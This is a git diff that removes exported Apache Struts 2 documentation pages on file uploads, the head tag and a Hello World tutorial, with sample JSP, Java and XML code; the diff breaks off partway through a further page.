-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="handling-file-uploads.html">Handling File Uploads</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Handling File Uploads</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13885">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13885">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13885">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13885">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13885">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13885">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The framework comes with built in file upload support. Uploading a file is simple. When FilterDispatcher receives a request, it checks to see if the request contains multipart content. If it does the dispatcher creates a MultipartWrapperRequest. This wrapper handles receiving the file and saving to disk. It is important for the Action programmer to check to see if any errors occured during processing. Three properties can be set that effect file [...]
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;"># put the uploaded files in /tmp. My application will move them to their
-# final destination
-struts.multipart.saveDir=/tmp
-</pre>
-</div></div><p>Note, while you can set these properties to new values at runtime the MultiPartRequestWrapper is created and the file handled before your Action code is called. So if you want to change values you must do so before this Action.</p><h2 id="HandlingFileUploads-SampleForm">Sample Form</h2><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;%@ taglib uri="action2" prefix="s" %&gt;
-
-&lt;html&gt;
-  &lt;head&gt;
-   &lt;title&gt;File Upload Test&lt;/title&gt;
-  &lt;/head&gt;
-  &lt;body&gt;
-    &lt;h1&gt;File Upload&lt;/h1&gt;
-
-    &lt;form action="FileUpload.action" method="POST" enctype="multipart/form-data"&gt;
-
-    &lt;center&gt;
-      &lt;table width="350" border="0" cellpadding="3" cellspacing="0"&gt;
-      &lt;tr&gt;
-        &lt;td colspan="2"&gt;&lt;input type="file" name="FileName" value="Browse..." size="50"/&gt;&lt;/td&gt;
-      &lt;/tr&gt;
-      &lt;tr&gt;
-        &lt;td colspan="2" align="center"&gt;
-          &lt;input type="submit" value="Submit"&gt;
-        &lt;/td&gt;
-      &lt;/tr&gt;
-      &lt;/table&gt;
-    &lt;/center&gt;
-  &lt;/form&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div><p>That's all you have to do to upload a file. No coding required, the file will be placed in the default directory. However, that leaves us with no error checking among other things. So let's add some code to the Action.</p><h2 id="HandlingFileUploads-FileUploadAction">File Upload Action</h2><p>Before the Action method is called the dispatcher will upload the file. Then we can get access to information about the file from MultiPartRequestWrapper.</p><div class="code panel pd [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">MultiPartRequestWrapper multiWrapper =
-		(MultiPartRequestWrapper) ServletActionContext.getRequest();
-</pre>
-</div></div><p>The first thing you should always do is check for errors. If there were any, there's no point in continuing, most methods will return null. Unfortunately, currently there is no easy way to distinguish what error occured making it more difficult to route to different error pages.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">if (multiWrapper.hasErrors()) {
-  Collection errors = multiWrapper.getErrors();
-  Iterator i = errors.iterator();
-  while (i.hasNext()) {
-    addActionError((String) i.next());
-  }
-  return ERROR;
-}
-</pre>
-</div></div><p>Now get the input tag name for the uploaded file and use that to get information on the transfer. Since you can upload multiple files (just add multiple input tags) at a time <code>getFileNames</code> returns an Enumeration of the names.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">Enumeration e = multiWrapper.getFileNames();
-
-while (e.hasMoreElements()) {
-   // get the value of this input tag
-   String inputValue = (String) e.nextElement();
-
-   // get the content type
-   String contentType = multiWrapper.getContentType(inputValue);
-
-   // get the name of the file from the input tag
-   String fileName = multiWrapper.getFilesystemName(inputValue);
-
-   // Get a File object for the uploaded File
-   File file = multiWrapper.getFile(inputValue);
-
-   // If it's null the upload failed
-   if (file == null) {
-      addActionError("Error uploading: " + multiWrapper.getFilesystemName(inputValue));
-   }
-
-   // Do additional processing/logging...
-}
-</pre>
-</div></div><h2 id="HandlingFileUploads-FurtherImprovements">Further Improvements</h2><p>Code above may be packed into one nice reusable component (Interceptor) that handles 90% of all typical file upload tasks. And Action does not know anything about web-app and just gets its files. Neat.</p><p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-n [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/head.html b/content/docs/head.html
deleted file mode 100644
index 1b4c238..0000000
--- a/content/docs/head.html
+++ /dev/null
@@ -1,172 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>head</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="head.html">head</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">head</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13997">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13997">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13997">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13997">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13997">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13997">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="head-Description">Description</h2>
-
-
-<p>Renders parts of the HEAD section for an HTML file. Encoding can be set using this tag.</p>
-
-<h2 id="head-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="head-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;head&gt;
-  &lt;title&gt;My page&lt;/title&gt;
-  &lt;s:head/&gt;
-&lt;/head&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/hello-world-using-struts-2.data/Hello.png b/content/docs/hello-world-using-struts-2.data/Hello.png
deleted file mode 100644
index d36de44..0000000
Binary files a/content/docs/hello-world-using-struts-2.data/Hello.png and /dev/null differ
diff --git a/content/docs/hello-world-using-struts-2.data/Struts2HelloWorld.png b/content/docs/hello-world-using-struts-2.data/Struts2HelloWorld.png
deleted file mode 100644
index 5388697..0000000
Binary files a/content/docs/hello-world-using-struts-2.data/Struts2HelloWorld.png and /dev/null differ
diff --git a/content/docs/hello-world-using-struts-2.html b/content/docs/hello-world-using-struts-2.html
deleted file mode 100644
index ff780ff..0000000
--- a/content/docs/hello-world-using-struts-2.html
+++ /dev/null
@@ -1,269 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Hello World Using Struts 2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="how-to-create-a-struts-2-web-application.html">How To Create A Struts 2 Web Application</a>&nbsp;&gt;&nbsp;<a href="create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.html">Create Struts 2 Web Application With Artifacts In WEB-INF lib and Use Ant To Bui [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Hello World Using Struts 2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811871">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811871">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811871">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811871">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811871">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811871">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>When you click on a hyperlink or submit an HTML form in a Struts 2 web application, the input is not sent to another server page, but to a Java class that you provide. These classes are called Actions. After the Action fires, a Result selects a resource to render the response. The resource is generally a server page, but it can also be a PDF file, an Excel spreadsheet, or a Java applet window.</p><p>Suppose you want to create a simple "Hello Wor [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package org.apache.struts.helloworld.model;
-
-public class MessageStore {
-	
-	private String message;
-	
-	public MessageStore() {
-		
-		setMessage("Hello Struts User");
-	}
-
-	public String getMessage() {
-
-		return message;
-	}
-
-	public void setMessage(String message) {
-
-		this.message = message;
-	}
-
-}
-</pre>
-</div></div><p>In the model class above note the use of public set and get methods to allow access to the private message String attribute. The Struts 2 framework requires that objects you want to expose to the view (HelloWorld.jsp) follow the <a shape="rect" class="external-link" href="http://en.wikipedia.org/wiki/JavaBean#JavaBean_conventions" rel="nofollow">JavaBean-style conventions</a>.</p><h3 id="HelloWorldUsingStruts2-Step2-CreateTheActionClassHelloWorldAction.java">Step 2 - Creat [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package org.apache.struts.helloworld.action;
-
-import org.apache.struts.helloworld.model.MessageStore;
-import com.opensymphony.xwork2.ActionSupport;
-
-public class HelloWorldAction extends ActionSupport {
-
-	private static final long serialVersionUID = 1L;
-
-	private MessageStore messageStore;
-	
-	public String execute() throws Exception {
-		
-		messageStore = new MessageStore() ;
-		return SUCCESS;
-	}
-
-	public MessageStore getMessageStore() {
-		return messageStore;
-	}
-
-	public void setMessageStore(MessageStore messageStore) {
-		this.messageStore = messageStore;
-	}
-
-}
-</pre>
-</div></div><p>The Struts 2 framework will create an object of the <code>HelloWorldAction</code>&#160;class and call the execute method in response to a user's action (clicking on a hyperlink that sends a specific URL to the Servlet container).</p><p>In this example, the execute method creates an object of class <code>MessageStore</code>&#160;and then returns the String constant <code>SUCCESS</code>.</p><p>Note also the public getter and setter methods for the private <code>MessageStore< [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%&gt;
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt;
-&lt;html&gt;
-  &lt;head&gt;
-    &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
-    &lt;title&gt;Hello World!&lt;/title&gt;
-  &lt;/head&gt;
-
-  &lt;body&gt;
-    &lt;h2&gt;&lt;s:property value="messageStore.message" /&gt;&lt;/h2&gt;
-  &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div><p>The taglib directive tells the Servlet container that this page will be using the Struts 2 tags and that these tags will be preceded by an <code>s</code>.</p><p>The <code>&lt;s:property&gt;</code>&#160;tag displays the value returned by calling the method <code>getMessageStore</code>&#160;of the <code>HelloWorldAction</code>&#160;controller class. That method returns a <code>MessageStore</code>&#160;object. By adding the <code>.message</code>&#160;onto the messageStore par [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE struts PUBLIC
-    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-    "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-
-&lt;struts&gt;
-
-  &lt;constant name="struts.devMode" value="true" /&gt;
-
-  &lt;package name="basicstruts2" extends="struts-default"&gt;
-    &lt;action name="index"&gt;
-      &lt;result&gt;/index.jsp&lt;/result&gt;
-    &lt;/action&gt;
-		
-    &lt;action name="hello" class="org.apache.struts.helloworld.action.HelloWorldAction" method="execute"&gt;
-      &lt;result name="success"&gt;/HelloWorld.jsp&lt;/result&gt;
-    &lt;/action&gt;
-  &lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div><h3 id="HelloWorldUsingStruts2-Step5-CreateTheURLAction">Step 5 - Create The URL Action</h3><p>In index.jsp (see WebContent folder for Ant project and src/main/webapp for Mvn project) let's add an Action URL the user can click on to tell the Struts 2 framework to run the execute method of the HelloWorldAction class and render the HelloWorld.jsp view.</p><p>First add the taglib directive at the top of the jsp <code>&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;</code>. Next [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;%@ page language="java" contentType="text/html; charset=ISO-8859-1"
-    pageEncoding="ISO-8859-1"%&gt;
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt;
-&lt;html&gt;
-&lt;head&gt;
-&lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
-&lt;title&gt;Basic Struts 2 Application - Welcome&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-&lt;h1&gt;Welcome To Struts 2!&lt;/h1&gt;
-&lt;p&gt;&lt;a href="&lt;s:url action='hello'/&gt;"&gt;Hello World&lt;/a&gt;&lt;/p&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-
-</pre>
-</div></div><p>The Struts url tag creates the URL with an action of hello. The hello action was mapped to the HelloWorldAction class and its execute method. When the user clicks on the above URL it will cause the Struts 2 framework to run the execute method of the HelloWorldAction class. After that method returns the String success, the view page HelloWorld.jsp will be rendered.</p><h3 id="HelloWorldUsingStruts2-Step6-BuildtheWARFileandRunTheApplication">Step 6 - Build the WAR File and R [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/hello-world.html b/content/docs/hello-world.html
deleted file mode 100644
index 43bf50d..0000000
--- a/content/docs/hello-world.html
+++ /dev/null
@@ -1,275 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
